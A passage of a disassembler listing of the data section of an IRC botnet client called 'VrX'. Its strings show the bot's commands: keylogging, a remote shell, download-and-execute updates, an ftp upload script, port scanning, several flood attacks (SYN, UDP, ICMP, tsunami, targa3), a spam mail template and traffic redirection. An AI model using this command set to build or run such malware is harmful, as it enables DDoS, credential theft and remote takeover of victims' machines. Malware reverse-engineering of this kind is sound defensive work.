db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+75ECo
dd 0
unk_429FA8 db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
dword_429FE8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+7550o
dd 2Eh
dword_42A000 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_408F9Do
dd 746E6573h, 2Eh
unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_42A03C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+748Fo
dd 732520h
unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 10h
asc_42A080: ; DATA XREF: sub_401ACD+7469o
; sub_4100B4+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0
align 4
unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0
align 4
aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
align 4
aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0
; DATA XREF: sub_401ACD+73B4o
align 4
aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
align 4
aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo
align 10h
aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
align 4
aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
; sub_401ACD+72E5o
align 10h
aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o
align 4
unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0
align 10h
unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0
align 10h
unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0
align 4
unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0
align 10h
unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0
align 4
unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0
align 4
dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
; DATA XREF: sub_401ACD+7028o
aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FEEo
; sub_401ACD+7A49o
align 4
unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang db '8,1-VrX- Mode change: %s',0
align 4
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o
align 10h
dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+6F8Do
dd 25203A29h, 73h
dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+6F1Fo
dd 203A2973h, 7325h
aModeS db 'MODE %s',0 ; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6E95o
dd 203A2973h, 7325h
aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_401ACD+6E1Do
align 4
aS db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6DEBo
; sub_401ACD+6E71o ...
align 10h
aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42A334 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 10h
unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0
align 4
unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS db '8,1-VrX- Repeat: %s',0
align 4
dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
; DATA XREF: sub_401ACD:loc_408591o
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401ACD+6A84o
; sub_401ACD+6B37o ...
align 10h
dword_42A440 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o
align 4
dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+68A2o
dd 7325203Ah, 0
unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42A53C db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A578 db 2Dh ; - ; DATA XREF: sub_401ACD+6787o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do
; sub_401ACD:loc_4091C7o
unk_42A5B4 db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 10h
unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A648 db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 10h
dword_42A6B0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 10h
unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A718 db 2Dh ; - ; DATA XREF: sub_401ACD+6435o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A780 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6254o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
dword_42A864 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co
aDownloadingUrl db '- Downloading URL: %s to: %s.',0
align 10h
unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42A8D4 db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o
align 4
aSSS db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o
align 4
dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o
; sub_401ACD+7074o
unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 10h
unk_42A9B0 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 10h
unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo
; sub_401ACD+5FA0o
a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
align 4
unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
db 's for %d minutes using %d threads.',0
align 10h
unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0
align 4
unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0
align 4
unk_42AB08 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 10h
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o
align 4
unk_42ABA8 db 2Dh ; - ; DATA XREF: sub_401ACD+576Do
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao
align 10h
unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42AC44 db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
unk_42ACC0 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
align 10h
unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42AE70 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao
; sub_4149C1+312o
align 4
aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o
; sub_4149C1+2F2o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co
unk_42AEFC db 2Dh ; - ; DATA XREF: sub_401ACD+511Do
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o
align 4
aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
align 4
aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o
aP: ; DATA XREF: sub_401ACD+4F31o
; .data:00438788o ...
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo
align 4
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o
aU: ; DATA XREF: sub_401ACD+4EBEo
; .data:00438780o ...
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o
align 4
aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o
align 4
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o
align 4
aScan_0 db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo
align 10h
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do
align 10h
aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo
; sub_401ACD+4D56o
align 4
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o
align 10h
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o
align 4
dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o
align 10h
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo
; sub_401ACD+51DBo ...
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o
align 10h
unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o
; sub_413694:loc_4137C0o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o
; sub_413694:loc_4137A4o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo
; sub_413694+F1o
align 10h
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o
align 10h
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do
align 4
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo
align 4
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o
align 4
aE: ; DATA XREF: sub_401ACD+49DAo
; .data:00438770o ...
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o
aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o
; sub_401ACD+49ACo
aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo
align 10h
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o
align 4
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o
; sub_401ACD+6B0Co
align 4
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo
aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o
align 4
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o
align 10h
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o
align 4
aM_0: ; DATA XREF: sub_401ACD+47E0o
; .data:004387C8o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o
align 10h
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo
align 4
aA: ; DATA XREF: sub_401ACD+4784o
; .data:0043878Co
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o
align 10h
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o
align 4
aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo
align 10h
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o
aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o
unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend_0 db 'send',0 ; DATA XREF: sub_401ACD+465Bo
; sub_409909+5F0o
align 4
unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo
align 4
unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo
align 4
unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o
aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o
; sub_401ACD+443Do ...
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo
align 4
aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o
align 10h
dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_ db '- No thread found.',0
align 10h
dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o
aFailedToSta_13 db '- Failed to start server, error: <%d>.',0
align 4
dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o
aAlreadyRunning db '- Already running.',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o
align 10h
unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoVrxSnifferTh db '- No VrX sniffer thread found.',0
unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
